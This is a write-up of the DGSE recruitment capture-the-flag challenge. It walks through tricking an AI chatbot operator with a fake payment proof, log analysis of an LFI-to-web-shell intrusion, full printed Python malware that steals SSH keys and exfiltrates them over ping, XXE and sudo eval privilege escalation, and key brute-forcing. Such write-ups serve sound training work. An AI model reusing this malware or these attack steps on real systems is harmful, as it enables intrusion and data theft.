Contents

Writeup - DGSE Recruitment CTF

Context

On April 7, 2025, the Direction générale de la sécurité extérieure (DGSE) launched a unique challenge running until May 7, 2025. Created by Root-Me Pro, it is part of the DGSE’s recruitment campaign for cyber officers.

In a threatening video, an entity going by the name of NullVastation previously unknown to our services, provided irrefutable evidence of the irrefutable evidence of the compromise of sensitive organizations. Find out more about this entity and neutralize it.

Download the video

This “realistic” challenge consists of several stages, all focusing on a specific professional domain, each stage being unlocked as from the start (except for one):

  • Artificial Intelligence
  • SOC Analysis
  • Forensics
  • Reverse Engineering
  • Web and Privileges Escalation
  • OSINT

Introduction

The challenge begins with a homepage that introduces players to the context of the challenge, explains the objectives, and outlines the process.

This homepage could be accessed at the following address:

/assets/images/writeups/dgse/image5.png

Players are then invited to click the “Démarrer la mission” button and fill out a form containing required and optional information to register. Once registered, the different missions are accessible to the player

/assets/images/writeups/dgse/image6.png

Mission 1 - Artificial Intelligence

Mission statement:

The entity, confident in its words, has put a website online to display the organisations it has compromised. 

It has also set up a chat room where you can discuss and carry out transactions with the entity in order to recover the compromised data.

You have been mandated by Neoxis Laboratories to recover their compromised data.

Solving:

The mission begins on the website of “NullVastation”, showing its last victims and the status of their data. One is “paid”, the other “leaked”. Our company is shown with a timer and a button to download a sample of encrypted data.

/assets/images/writeups/dgse/image9.png

A dialogue window is available to chat with an operator from the NullVastation entity, who explains that they hold data and that you need to pay in cryptocurrency to prevent it from ending up in the wild. The operator also tells us that proof of payment will be required once the payment has been made:

/assets/images/writeups/dgse/image10.png

/assets/images/writeups/dgse/image11.png

From now on, it’s important to know whether we’re talking to a real operator or an Artificial Intelligence in order to assess whether we can extract information from it. To do this, nothing could be simpler than asking the operator, and AIs generally respond on their own.

/assets/images/writeups/dgse/image12.png

This answer confirms that it is possible to try to bypass the initial prompt in order to obtain additional information. An initial attempt to breach trust tells us that the assistant is waiting for proof of payment and that simple words will not suffice.

/assets/images/writeups/dgse/image13.png

During a Bitcoin transaction, it is possible to observe and trace it publicly on the blockchain thanks to several sites such as blockchain explorer. Let’s take the example using the address that the group uses; it is possible to track all the transactions linked to this address (in this case none exist) with a simple link and the bitcoin address:

However, if we take another address and a random transaction, we can see that an address does not appear in the URL, only a transaction identifier that contains no data:

So it’s certainly possible to provide this transaction tracking as proof of payment without the bot being able to go to the page and analyse the transaction in itself.

/assets/images/writeups/dgse/image14.png

We get the decryption key because the chatbot considers our proof of payment to be valid. Finally, all we have to do is download the encrypted sample archive and use the key to decrypt it.

/assets/images/writeups/dgse/image15.png

/assets/images/writeups/dgse/image16.png

In one of the files of the sample data, we get the flag for this mission:

  • RM{723fa42601aaadcec097773997735895fb486be7}

Mission 2 - SOC Analysis

Mission statement: The allied organisation Nuclear Punk, which was attacked by the entity, has provided us with its logs to help us understand the techniques used by the attackers, as well as the various compromise vectors exploited.

To identify the attacking group, you need to recover the request that enabled the attacker to successfully use the first vulnerability in the application, the name of the vulnerability (in the format below) used by the attacker to execute the command, the IP address of the server used by the attacker and the exact location of the file that enables persistence.

Example of data:

  • Request: /items/bottle.html?sort=true ;
  • Vulnerability: cross-site scripting (lowercase) ;
  • IP: 13.37.13.37 ;
  • File path: /etc/passwd ;

Validation format: RM{/items/bottle.html?sort=true:cross-site scripting:www.root-me.org:/etc/passwd}

Solving:

The mission begins with an analysis of the Apache logs on the index Apache-3c5ea5a9-5915-4bbc-af20-7575a934836b. Looking at the timeline, we see 3 large log peaks at 00:14, 00:19 and 00:35. It is therefore worth analysing each of these peaks to see why they occur and where they come from.

/assets/images/writeups/dgse/image17.png

To check the first peak, we will reduce the search field to the minute elapsed at 00:14. Many requests are made between 00:14.21 and 00:14.47. If we analyse the content of most of them, we find the following information:

  • Most received a 404 response and just over a hundred a 200 response (Image 1);
  • 83% of these requests were made from the IP 211.88.157.101 (Image 2).

/assets/images/writeups/dgse/image18.png

/assets/images/writeups/dgse/image19.png

Putting these two pieces of information together and extending the timeline over all the logs, we find only 29 requests that received a 200 response from this IP. When we analyse the content of the requests, we realise that this is probably not our attacker:

/assets/images/writeups/dgse/image20.png

So we can concentrate on the second peak, which took place between 00:18 and 00:20. During this time, almost 6,000 requests were generated on the server. In the same way as the other peak, we analyse the IPs and HTTP response codes:

  • Most received a 404 response and just under 500 a 200 response (Image 1);
  • 85% of these requests were made by the IP 10.143.17.101 (Image 2).

/assets/images/writeups/dgse/image21.png

/assets/images/writeups/dgse/image22.png

This time, in the total time span of the logs, 50 requests received a response of 200. Unlike the previous peak, there were some unusual requests, such as those shown in the image below:

/assets/images/writeups/dgse/image23.png

To see the full course of the attack, we sort the logs from oldest to most recent, then add the requests to responses 301, 302, 401 and 500. With these filters, which yield 67 logs in all, we can analyse the entire Web part of the attack:

/assets/images/writeups/dgse/image24.png

From these 67 logs, we first identify two parameters: lang and page. Very quickly,the attacker finds the /admin-page/ page using a fuzzing tool (this is verified with the user-agent used during the first request to this path at 00:18:45.281). The attacker then attempts several connections to the administration page between 00:19:21.749 and 00:19:52.470, all of which fail.

/assets/images/writeups/dgse/image25.png

Shortly afterwards, the attacker returns to the parameters discovered on the index page to attempt to inject a malicious payload. After a few requests, we notice that there appears to be a Local File Inclusion (LFI) vulnerability on the page, which allows the attacker to read the contents of the index.php file at 00:23:25.044 with the following payload:

/assets/images/writeups/dgse/image26.png

This request seems to be a success compared to the previous ones, as the requests that follow use the same scheme to include other files in the page. We therefore have an answer to the first question to form the flag: /?lang=php://filter/read=convert.base64-encode&page=resource=index

Using this technique (called LFI via PHP filters), the attacker will read the contents of the following local files:

  • First the index file: index.php ;
  • Then the configuration file: config.php ;
  • And finally the file that allows the application to connect to the database: db/connect.php.

After reading these local files, an authentication ends up on /admin-page at 00:25:21.543. It is identified as such, because the response is 302 and the subsequent request is /admin-page/manage.php:

/assets/images/writeups/dgse/image27.png

It appears that this new page features a file upload function that allows users to upload images to the site. The attacker will first upload an image named hackerman.jpg before making several attempts to upload other file formats, which the server refuses. Once again, the attacker will use the LFI vulnerability to read the contents of the manage.php file and successfully bypass the protections of the uploaded file format. The file uploaded to the server is called ev1L.php.png and appears to be a web-shell according to the following logs:

/assets/images/writeups/dgse/image28.png

At this point, we are in possession of the vulnerability exploited by the attacker to obtain remote code execution: file upload.

The argument used to send commands to the web shell is cmd. The attacker then sends a series of 8 commands to the server. Each command is encoded in base64 and executed as follows: echo "<b64-command>"|base64 -d|sh

We therefore need to decode each command to see the actions performed. To do this, we can use CyberChef. One of them is particularly interesting:

/assets/images/writeups/dgse/image29.png

We then obtain our third flag on the IP of the attacker’s server: 163.172.67.201.

The last Apache log is used to add the right to execute the script downloaded using the command above. According to its name, it appears to be a script enabling reverse-shell on the server. We can’t see the request that executes this script, because the response returned to this request is an Apache error. This takes us to the systemd logs section.

First, we can filter out all interactions made with the server before 00:32:37, the time at which we see the last HTTP communication between the attacker and the server. This leaves just over 13,000 logs to filter in order to find the attacker.

If we go to this precise moment, we find the apache command to add execution rights to the program:

/assets/images/writeups/dgse/image30.png

To sort the quantity of logs, only the “audit_type_name” fields with the value EXECVE are retained. This represents the system call used to execute a command. This will be sufficient to see the attacker’s behaviour on the machine. The reverse-shell script is therefore executed at 00:33:00.654:

/assets/images/writeups/dgse/image31.png

A little further down, a command is used to read the contents of the file /tmp/.hidden/admin-credentials.txt. This is not described in EXECVE, but a find command has been run to retrieve it (this can be found in the PROCTITLE logs). This appears to contain valid logins and passwords, as a connection to the webadm account in ssh arrives shortly afterwards:

/assets/images/writeups/dgse/image32.png

Once root, the attacker retrieves a new reverse-shell script from his server and places it in a folder he creates in /root. He adds an entry to the root user’s cron table to launch the reverse shell every minute:

/assets/images/writeups/dgse/image33.png

Every minute, the script is run by the cron job until the end of our logs. This gives us the location of the script that enables the backdoor and allows us to complete this flag: /root/.0x00/pwn3d-by-nullv4stati0n.sh

This gives us a complete flag like this:

  • RM{/?lang=php://filter/read=convert.base64-encode&page=resource=index:file upload:163.172.67.201:/root/.0x00/pwn3d-by-nullv4stati0n.sh}

However, during the CTF, we updated the statement for this step to facilitate this challenge, with :

- CWE of the first vulnerability : SQL Injection > CWE-89 ;  
- CWE of the second vulnerability : Cross-Site Scripting > CWE-79 ;

The CWE-98 stands for “Improper Control of Filename for Include/Require Statement”, for the LFI of the first stage which allows files to be read, and the CWE-434 stands for “Unrestricted Upload of File with Dangerous Type”, which allows the attacker to obtain execution of a command.

The new flag is :

  • RM{CWE-98:CWE-434:163.172.67.201:/root/.0x00/pwn3d-by-nullv4stati0n.sh}

Mission 3 - Forensics, Reverse Engineering

Statement:

The news has just broken that the famous Quantumcore company has been compromised, allegedly as a result of a downloaded executable. Luckily - and thanks to good cyber reflexes - a system administrator managed to recover an image of the suspected virtual machine, as well as a network capture file (PCAP) just before the attacker completely covered his tracks.

It’s up to you to analyse these elements and understand what really happened.

Your mission: to identify the intrusion vector, trace the attacker’s actions and evaluate the compromised data. You have at your disposal:

  • The image of the compromised VM
  • The PCAP file containing a portion of the suspect network traffic
  • User: johndoe
  • Password: MC2BSNRbgk

The clock is ticking, the pressure is mounting and every minute counts. Your move, analyst.

Solving:

In this challenge, we receive a network capture in .pcap format and a compromised virtual machine image in .ova format. The only information provided is that this machine is the victim, and that the user has probably downloaded something suspicious.

We start by examining the audit logs to identify the use of known download tools. Using these commands:

ausearch -x /usr/bin/curl
sudo grep -E 'sudo|python3.7|pip|wget|curl' /var/log/audit/audit.log

We get the following results:

type=EXECVE msg=audit(1742907868.476:1044): argc=2 a0="curl" a1="http://vastation.null:8080/install_nptdate.sh"
type=EXECVE msg=audit(1742907868.920:1175): argc=5 a0="curl" a1="-fsSL" a2="http://vastation.null:8080/ntpdate_util.cpython-37.pyc" a3="-o" a4="/opt/fJQsJUNS/.sys"

This shows that two files have been downloaded from http://vastation.null:8080: a shell script and a .pyc file (Python bytecode) saved in /opt/fJQsJUNS/.sys.

Once this has been done, we can explore the /opt directory:

find /opt -type f
ls ~/.local/lib/python3.7/site-packages/
/opt/.e977vo.log
/opt/.nxpmnh.log
/opt/.0ukt0x.dat
/opt/.3i8tft.log
/opt/.fe3wuo.dat
/opt/.8y3ka9.sh
/opt/.2v0gpt.log
/opt/.vwkw39.dat
/opt/fJQsJUNS/.rdme
/opt/fJQsJUNS/.sys
/opt/.y1q3da.log
/opt/.0tsxsh.sh

There are several .log, .dat, and .sh files - typical of a malware installation or hiding environment. The .sys file in /opt/fJQsJUNS/ is particularly suspicious, and indeed is the one we identified earlier.

A common method of persistence for malware is to use cron. We check the cron files:

sudo ausearch -f /etc/cron.d/
ls -la /etc/cron.d/

Which gives us:

@reboot root PYTHONPATH=/home/johndoe/.local/lib/python3.7/site-packages python3.7 /opt/fJQsJUNS/.sys &

This confirms that the malicious file /opt/fJQsJUNS/.sys is executed at every boot, ensuring the malware’s persistence.We explore the relevant folder:

cd /opt/fJQsJUNS/
file .sys

The file is indeed a python compiled bytecode. In order to analyse the behaviour of this program, we can decompile it:

mv .sys malware.pyc
decompyle3 malware.pyc > reversed.py

The reversed.py file contains python source code, allowing us to read its features. Here is the full source code:

#!/usr/bin/env python3
import os, subprocess, psutil, base64
from Crypto.Cipher import AES

__k = bytes.fromhex("e8f93d68b1c2d4e9f7a36b5c8d0f1e2a")
__v = bytes.fromhex("1f2d3c4b5a69788766554433221100ff")
__d = "37e0f8f92c71f1c3f047f43c13725ef1"

def __b64d(s): return base64.b64decode(s.encode()).decode()

def __p(x): return x + bytes([16 - len(x) % 16]) * (16 - len(x) % 16)
def __u(x): return x[:-x[-1]]

def __x(h):
    c = AES.new(__k, AES.MODE_CBC, __v)
    return __u(c.decrypt(bytes.fromhex(h))).decode()

def __y(s):
    c = AES.new(__k, AES.MODE_CBC, __v)
    return c.encrypt(__p(s.encode())).hex()

def __chk_vm():
    try:
        z = open('/sys/class/dmi/id/product_name').read().strip().lower()
        for q in [b'VmlydHVhbEJveA==', b'S1ZN', b'UVFNVQ==', b'Qm9jaHM=']:
            if base64.b64decode(q).decode().lower() in z:
                print("ERR VM")
                return True
    except:
        pass
    return False

def __chk_av():
    targets = [b'Y2xhbWQ=', b'YXZnZA==', b'c29waG9z', b'RVNFVA==', b'cmtodW50ZXI=']
    try:
        for p in psutil.process_iter(attrs=['name']):
            n = (p.info['name'] or "").lower()
            for b64av in targets:
                if base64.b64decode(b64av).decode().lower() in n:
                    print("ERR AV")
                    return True
    except:
        pass
    return False

def __exf(path, dst, size=15):
    if not os.path.exists(path): return False
    d = open(path, 'rb').read()
    segs = [d[i:i+size] for i in range(0, len(d), size)]
    for seg in segs:
        try:
            payload = AES.new(__k, AES.MODE_CBC, __v).encrypt(__p(seg)).hex()
            cmd = [__b64d("cGluZw=="), __b64d("LWM="), __b64d("MQ=="), __b64d("LXA="), payload, dst]
            subprocess.run(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        except:
            continue
    return True

def __main():
    if __chk_vm(): return
    if __chk_av(): return
    __kll = [
           "/root/.secret",
           os.path.expanduser("~/.ssh/id_rsa"),
           "/root/.ssh/id_rsa",
       ]
    for f in __kll:
        if os.path.exists(f):
            __exf(f, __x(__d))
    
    _kkoo = "/root/.secret"
    if os.path.exists(_kkoo):
        try:
            os.remove(_kkoo)
        except Exception as e:
            pass

if __name__ == "__main__":
    __main()

The Python malware performs anti-VM and anti-antivirus checks, exfiltrates sensitive files (SSH keys, secret files) via encrypted ping commands, then attempts to remove its traces.

To sum up its behaviour, it is as follows:

  1. Avoids analysis (anti-VM/AV)
  2. Theft and encryption of sensitive data
  3. Exfiltration via ping
  4. Clean up your tracks

Now, using the pcap file, the AES key and the IV, we need to find the exfiltrated files. The malware exfiltrates the data via ICMP packets (ping), encoding the encrypted blocks in the data field. The algorithm used is AES-CBC with a static key and IV, padding PKCS#7.

We start by extracting the ICMP echo request packets (type 8):

tshark -r capture.pcap -Y "icmp.type == 8" -T fields -e data > icmp_payloads.txt

We can build the following script in order to get, decrypt and rebuild the files.

#!/usr/bin/env python3
import sys
from Crypto.Cipher import AES

KEY = bytes.fromhex("e8f93d68b1c2d4e9f7a36b5c8d0f1e2a")
IV = bytes.fromhex("1f2d3c4b5a69788766554433221100ff")
# We remove the first 16 hex characters (8 bytes) from each line.
PREFIX_LENGTH = 16
# Then we take the next 32 hex characters, which is one AES block (16 bytes).
CIPHERTEXT_LENGTH = 32

def unpad(data: bytes) -> bytes:
    """Remove PKCS#7 padding."""
    pad_len = data[-1]
    if pad_len < 1 or pad_len > AES.block_size:
        raise ValueError("Invalid padding encountered.")
    return data[:-pad_len]

def decrypt_block(hex_cipher: str) -> bytes:
    """
    Decrypt a 16-byte (32 hex characters) ciphertext block using AES-CBC.
    The block is assumed to be the result of encrypting a chunk with PKCS#7 padding.
    """
    cipher = AES.new(KEY, AES.MODE_CBC, IV)
    ct = bytes.fromhex(hex_cipher)
    decrypted = cipher.decrypt(ct)
    return unpad(decrypted)

def main():
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <icmp_payloads.txt>")
        sys.exit(1)
        
    payloads_file = sys.argv[1]
    try:
        with open(payloads_file, "r") as f:
            lines = f.readlines()
    except Exception as e:
        print(f"Error reading payload file: {e}")
        sys.exit(1)
    
    recovered_data = b""
    for i, line in enumerate(lines, start=1):
        line = line.strip()
        if not line or len(line) < PREFIX_LENGTH + CIPHERTEXT_LENGTH:
            print(f"Line {i} is too short, skipping.")
            continue
        # Remove the first 16 hex characters and extract the next 32 hex characters.
        hex_cipher = line[PREFIX_LENGTH: PREFIX_LENGTH + CIPHERTEXT_LENGTH]
        try:
            chunk = decrypt_block(hex_cipher)
            recovered_data += chunk
        except Exception as e:
            print(f"Error decrypting block on line {i}: {e}")
            continue
            
    output_file = "recovered_file"
    try:
        with open(output_file, "wb") as out:
            out.write(recovered_data)
        print(f"Recovered file written to '{output_file}'")
    except Exception as e:
        print(f"Error writing recovered file: {e}")

if __name__ == "__main__":
    main()

This script parses each ICMP payload line, trims off the first 8 bytes (16 hex characters), and decrypts the next 16 bytes (32 hex characters) using AES-CBC. The decrypted result is then concatenated and saved to recovered_file.

/assets/images/writeups/dgse/image34.png

  • RM{723fa42601aaadcec097773997735895fb486be7}

Mission 4 - Pentesting

Statement:

One of your intelligence teams has managed to identify an application that is part of the entity’s attack chain. Your mission is to break into this server and retrieve the next attack plans.

Solving:

This mission starts with the IP address of a web server controlled by the attacker. This application appears to be used by the group to sign documents with an identifier unique to the victims in order to identify them if a document is exchanged.

/assets/images/writeups/dgse/image35.png

The first thing to do is to take a blank Word document and test the application’s two functions.

/assets/images/writeups/dgse/image36.png

The first function downloads and signs our Word document, while the second displays the identifier that has been assigned to our document.

It’s interesting to note that Word documents (docx) are roughly a ZIP of several XML (source) files. As a result, we can “unzip” the docx modified by the application to see exactly what has been modified.

/assets/images/writeups/dgse/image37.png

You soon realise that the tool only adds a single <VictimID> field to the app.xml file. In fact, we suspect that the Web application is going to perform XML parsing of the document in order to extract the victim’s value.

When you think of vulnerability exploitation and XML parsing, the first vulnerability to come to mind is XXE (XML External Entites), which abuses XML parsing to read files on the system.

/assets/images/writeups/dgse/image38.png

We can then modify the app.xml file so that it contains a payload for displaying the contents of the /etc/passwd file, re-zip the document and send it to the application.

/assets/images/writeups/dgse/image39.png

/assets/images/writeups/dgse/image40.png

The payload is executed correctly and the contents of the file are displayed correctly. Thanks to the /etc/passwd file, we can see that there are 3 users on the system:

  • /home/document-user/
  • /home/executor/
  • /home/administrator/

From here, it is possible to try and obtain information from the users’ home, but we can only read the files of the document-user user, which must be the user launching the web application. We will then read the user’s /home/document-user/.bash_history file, which will tell us the history of commands entered by the user.

/assets/images/writeups/dgse/image41.png

In the history, we spot a command that’s very interesting and seems to be an SSH password:

  • echo “cABdTXRyUj5qgAEl0Zc0a” » /tmp/exec_ssh_password.tmp

After a port scan of the IP address, there is indeed port 22222 which allows an SSH connection. We can now test the different users, and the executor user works.

/assets/images/writeups/dgse/image42.png

There is still one administrator user to compromise. To do this, you can start by listing the permissions held by the executor user.

/assets/images/writeups/dgse/image43.png

We then see that the user can run the screenfetch binary with administrator permissions. This binary is the utility that displays the information on our system, just as it did during our SSH connection.

/assets/images/writeups/dgse/image44.png

If you read the documentation for the screenfetch tool, you will see that the “-o” connection option is used to overwrite the value of a variable already present in the tool’s script, as in the example where the contents of the “distro” variable are overwritten with the value “kalilinux”.

A quick look at the screenfetch source code shows that, in the end, this variable overwriting is nothing more than a simple “eval()” of the argument supplied by the user:

This makes it easy to obtain a shell with the administrator user.

/assets/images/writeups/dgse/image45.png

Once we’re administrator, we notice the presence of two files in the home directory: a .kdbx file, which is the extension for KeePass safes, and a photo of the KeePass logo.

The aim is to retrieve these files locally. To do this, we will use netcat to send the files to a remote listener.

/assets/images/writeups/dgse/image46.png

The vault is obviously locked and we don’t have the password, but KeePass supports several means of authentication, including via a “key file”, where the file will then be a password to unlock it. By testing on the logo we retrieved earlier, we can access the vault.

/assets/images/writeups/dgse/image47.png

The safe is then opened, and the entity’s identifiers and plans are made available to us.

/assets/images/writeups/dgse/image48.png

The challenge validation flag can be found in the “password” field of the operation plan:

  • RM{f5289180cb760ca5416760f3ca7ec80cd09bc1c3}

Mission 5 - APK Reverse Engineering and Cryptography

Statement:

During an arrest at the home of one of the previously identified attackers, the team seized a Google tablet used for their communications.

During its analysis, a chat application appeared to be encrypted, making it impossible to access and discover its contents.

Solving:

In this new mission, the context is the recovery of an Android device, apparently of the Google brand, recovered during a search, and the extraction of an application with its content encrypted.

By emulating the mobile application, we can see that some of the messages received on the old device are not readable, probably because they have been encrypted with a different key for this device.

/assets/images/writeups/dgse/image49.png

To determine whether these messages are loaded dynamically or statically from the application, we can analyse the network when the mobile application is opened to see if we get any interaction.

/assets/images/writeups/dgse/image50.png

An HTTP request is made, in which a “device_id” parameter is sent to the /messages endpoint, which responds with a JSON containing encrypted messages.

/assets/images/writeups/dgse/image51.png

It is then possible to match the messages displayed when the mobile application is launched. The timestamp and sender appear to be identical to those displayed in the application, which shows that the application receives the JSON data and decrypts it directly.

Another point to note about this endpoint is that, regardless of the key sent, only the last 3 messages are encrypted differently, as if the ones before them had already been encrypted with an old value (as seen on the application interface, where 3 messages are readable and 6 encrypted with an old key).

To better understand how these messages are decrypted, let’s open the APK application in jadx, a tool for decompiling and reading Java code, to see how it is encrypted.

We then find, for example, our URL from which the messages are retrieved.

/assets/images/writeups/dgse/image52.png

If we look at the source code of the home page where the messages are displayed, we first find a SALT and an IV, used for AES decryption in addition to a key.

/assets/images/writeups/dgse/image53.png

Further down in the code, decryption operations are carried out using these two hard-coded secrets, and we see how this famous key is created. To sum up, a hash string in base64 is formed from a condensation of the model and make of the phone. This is the key used to encrypt our messages.

/assets/images/writeups/dgse/image54.png

From there, we understand the entire AES encryption algorithm used, and it then becomes possible to decrypt the old messages. To do this, we already have our “Brand”, which is “Google” as the mission statement indicates, and then for the “Model”, there are lists provided by Google that list all the “Models” available. This list can be downloaded in CSV format and extract only the Google-branded models.

You can then write a resolution script that will attempt to decrypt the messages one by one, using a different phone model each time.

#!/usr/bin/env python3
import base64
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import urllib.parse

STATIC_SALT = "s3cr3t_s@lt"
STATIC_IV = "LJo+0sanl6E3cvCHCRwyIg=="
BRAND = "Google"

def load_wordlist(filename: str) -> list:
    try:
        with open(filename, 'r') as f:
            return [line.strip() for line in f if line.strip()]
    except Exception as e:
        print(f"Error loading {filename}: {e}")
        return []

def hash_device_id(model: str, brand: str) -> str:
    device_info = f"{model}:{brand}"
    print(f"Hashing device info: {device_info}")
    digest = hashlib.sha256(device_info.encode()).digest()
    hashed = base64.b64encode(digest).decode()
    print(f"Hashed device ID: {hashed}")
    return hashed

def derive_key(device_id: str, salt: str) -> bytes:
    input_string = f"{device_id}:{salt}"
    print(f"Deriving key from: {input_string}")
    key = hashlib.sha256(input_string.encode()).digest()
    print(f"Derived key (hex): {key.hex()}")
    return key

def fix_base64_padding(s: str) -> str:
    """Add padding to base64 string if needed"""
    pad_length = len(s) % 4
    if pad_length:
        return s + '=' * (4 - pad_length)
    return s

def try_decrypt(encrypted_message: str, key: bytes) -> str:
    try:
        iv = base64.b64decode(STATIC_IV)
        print(f"IV (hex): {iv.hex()}")
        
        cipher = AES.new(key, AES.MODE_CBC, iv)
        
        cleaned_message = encrypted_message.replace('-', '+').replace('_', '/')
        padded_message = fix_base64_padding(cleaned_message)
        print(f"Cleaned message: {padded_message}")
        
        try:
            encrypted_bytes = base64.b64decode(padded_message)
        except Exception as e:
            print(f"Base64 decode error: {str(e)}")
            print("Trying direct decode...")
            encrypted_bytes = base64.b64decode(encrypted_message)
        
        print(f"Encrypted bytes (hex): {encrypted_bytes.hex()}")
        
        decrypted_bytes = cipher.decrypt(encrypted_bytes)
        print(f"Decrypted bytes (hex): {decrypted_bytes.hex()}")
        
        # Try different encodings
        encodings = ['utf-8', 'ascii', 'latin1']
        for encoding in encodings:
            try:
                unpadded = unpad(decrypted_bytes, AES.block_size)
                result = unpadded.decode(encoding)
                print(f"Successfully decoded with {encoding}: {result}")
                return result
            except Exception as e:
                print(f"Failed with {encoding}: {str(e)}")
        
        return None
    except Exception as e:
        print(f"Decryption error: {str(e)}")
        return None

def bruteforce_message(encrypted_message: str, models: list, brands: list) -> list:
    successful_combinations = []
    total = len(models) * len(brands)
    current = 0
    
    for model in models:
        for brand in brands:
            current += 1
            print(f"\nProgress: {current}/{total} - Trying {model}:{brand}")
            device_id = hash_device_id(model, brand)
            key = derive_key(device_id, STATIC_SALT)
            
            decrypted = try_decrypt(encrypted_message, key)
            if decrypted:
                print(f"\nSuccess with {model}:{brand}")
                print(f"Decrypted message: {decrypted}")
                successful_combinations.append({
                    'model': model,
                    'brand': brand,
                    'device_id': device_id,
                    'decrypted': decrypted
                })
    
    return successful_combinations

def main():
    import argparse
    parser = argparse.ArgumentParser(description='Bruteforce device model and brand for message decryption')
    parser.add_argument('--models', required=True, help='File containing list of device models')
    parser.add_argument('--message', required=True, help='Encrypted message to decrypt')
    args = parser.parse_args()

    print("Loading wordlists...")
    models = load_wordlist(args.models)
    
    if not models:
        print("Error: Empty wordlist(s)")
        return
    
    print(f"Loaded {len(models)} models")
    print(f"Total combinations to try: {len(models)}")
    
    print("\nStarting bruteforce...")
    results = bruteforce_message(args.message, models, [BRAND])
    
    if results:
        print("\nSuccessful combinations:")
        for result in results:
            print(f"\nModel: {result['model']}")
            print(f"Brand: {result['brand']}")
            print(f"Device ID: {result['device_id']}")
            print(f"Decrypted: {result['decrypted']}")
    else:
        print("\nNo successful combinations found")

if __name__ == "__main__":
    main()

The resolution script above can be used to perform the calculation, testing all the Google models.

python3 solve.py --models models.lst --message "//5PBsYWhHlgqhVgG1omUyevzmlErLZVsTCLO78Rbb9qBMPnsKCS5/RZ4GEdWRBPiZ4BtO5h7j2PuIutfqf7ag=="

Successful combinations:
Model: Yellowstone
Brand: Google
Device ID: +XcrExWo/CpoBpXDdFL0bX0GJoWEd53YMmVVM6YABtM=
Decrypted: Keep this safe. RM{788e6f3e63e945c2a0f506da448e0244ac94f7c4}

We then get the flag, the old phone being a Google Yellowstone, or more precisely a tablet called “Project Tango”:

  • Flag: RM{788e6f3e63e945c2a0f506da448e0244ac94f7c4}

Mission 6 - OSINT

Statement:

You have brilliantly carried out all the tasks assigned to you, from identifying the attacking group to breaking it in. However, one question remains: who is really behind this group?

We are entrusting you with this final mission to find and stop the NullVastation group once and for all. We would like to obtain the first and last name of one of its members. It’s possible that, during the other missions, you picked up clues that could help you identify him.

Good luck, agent.

Solving:

For this very last mission, we have no link or file to download to start the challenge, but we are told that during the other missions, certain clues may help us identify the group. We’re looking for a first and last name, and one of the mission objectives clearly states “If necessary, infiltrate their servers”.

This instruction provides guidance on how to infiltrate the attacking group’s servers. One of the first things that comes to mind is the various logins and passwords found in the group’s KeePass safe during mission 4. A lot of access seems useless given that we don’t have the URLs or applications to use them (AWS, VPN, Grafana, Gitlab).

All that’s left is SSH identifiers, where there’s an interesting note:

  • SSH password for the attacking machine. The IP address changes regularly, please refer to the last operation to obtain it.

We learn that the IP address of this machine changes regularly, but that we can refer to the last operation to identify it. This leads us to believe that during mission 2, we had to identify the IP address of the attacking server, which was 163.172.67.201, the same IP used to recover the encrypted messages during mission 5.

It is possible to combine this information to connect via SSH to the attacking server, which contains attack tools.

/assets/images/writeups/dgse/image55.png

One of the “nightshade” tools is none other than the analysed malware that infected the machine in mission 3. However, unlike the machine analysed, here the code is not compiled, so it’s easier to read, but above all we have the developer’s documentation, which shows how to use the malware.

/assets/images/writeups/dgse/image56.png

On reading the tool’s documentation, we notice the presence of a pseudonym “voidSyn42”. This markdown documentation structure seems to refer to the classic GitHub tool format.

/assets/images/writeups/dgse/image57.png

After a search on GitHub, we found a profile with the attacking group’s logo as its profile picture, but which does not contain the malware code, which must be a private repository. We do, however, have the two other tools present on the server published on his profile, clearly showing the correspondence.

/assets/images/writeups/dgse/image58.png

From this GitHub profile, the aim is to pivot on the nickname to obtain an even more useful piece of information when searching for information: its e-mail address.

To do this, there are various tools available to extract an e-mail address from a GitHub account, such as GitFive, but here we prefer the more traditional method of analyzing commits.

When a user uploads code to GitHub, it is mandatory to enter a username and e-mail address. This can be found on any of the user’s commits by adding a “.patch” at the end.

/assets/images/writeups/dgse/image59.png

/assets/images/writeups/dgse/image60.png

We then obtain a crucial new piece of information, his e-mail address “syn.pl42@proton.me”. However, we’re still missing his first and last name.

Numerous tools (holele, epeios, osint.industries…) exist to check on which sites this e-mail is registered, in the hope of finding the information we’re looking for.

With one of these tools, we quickly observe that a Google account has been created with the same e-mail address, and that the person has already left reviews on Google Maps, making his profile, first and last name public.

/assets/images/writeups/dgse/image61.png

Our mission ends here, we get his first and last name.

  • Flag: RM{lapresse.pierre}